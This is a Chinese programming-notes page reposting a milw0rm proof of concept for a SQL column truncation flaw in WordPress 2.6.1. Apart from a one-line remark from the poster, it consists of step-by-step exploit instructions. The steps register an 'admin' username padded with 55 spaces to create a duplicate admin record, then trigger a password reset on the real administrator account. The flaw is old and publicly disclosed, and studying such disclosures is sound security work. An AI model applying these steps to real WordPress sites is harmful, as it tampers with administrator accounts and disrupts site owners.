热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

WordPress2.6.1SQLColumnTruncationVulnerability分析

用wordpress的要注意了,不过拿我这里测试就没效果了,我从一开始就是关闭用户注册的。#wordpress2.6.1sqlcolumntruncationvuln

用wordpress的要注意了,不过拿我这里测试就没效果了,我从一开始就是关闭用户注册的。
# wordpress 2.6.1 sql column truncation vulnerability (poc)
#
# found by irk4z[at]yahoo.pl
# homepage: http://irk4z.wordpress.com/
#
# this is not critical vuln [;
#
# first, read this discovery:
# http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/
#
# in this hack we can remote change admin password, if registration enabled
#
# greets: stefan esser, lukasz pilorz, condemned, tbh, sid.psycho, str0ke and all fiends
1. go to url: server.com/wp-login.php?action=register
2. register as:
login: admin x
email: your email^ admin[55 space chars]x
now, we have duplicated 'admin' account in database
3. go to url: server.com/wp-login.php?action=lostpassword
4. write your email into field and submit this form
5. check your email and go to reset confirmation link
6. admin's password changed, but new password will be send to correct admin email ;/
# milw0rm.com









推荐阅读
author-avatar
2yuheng
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有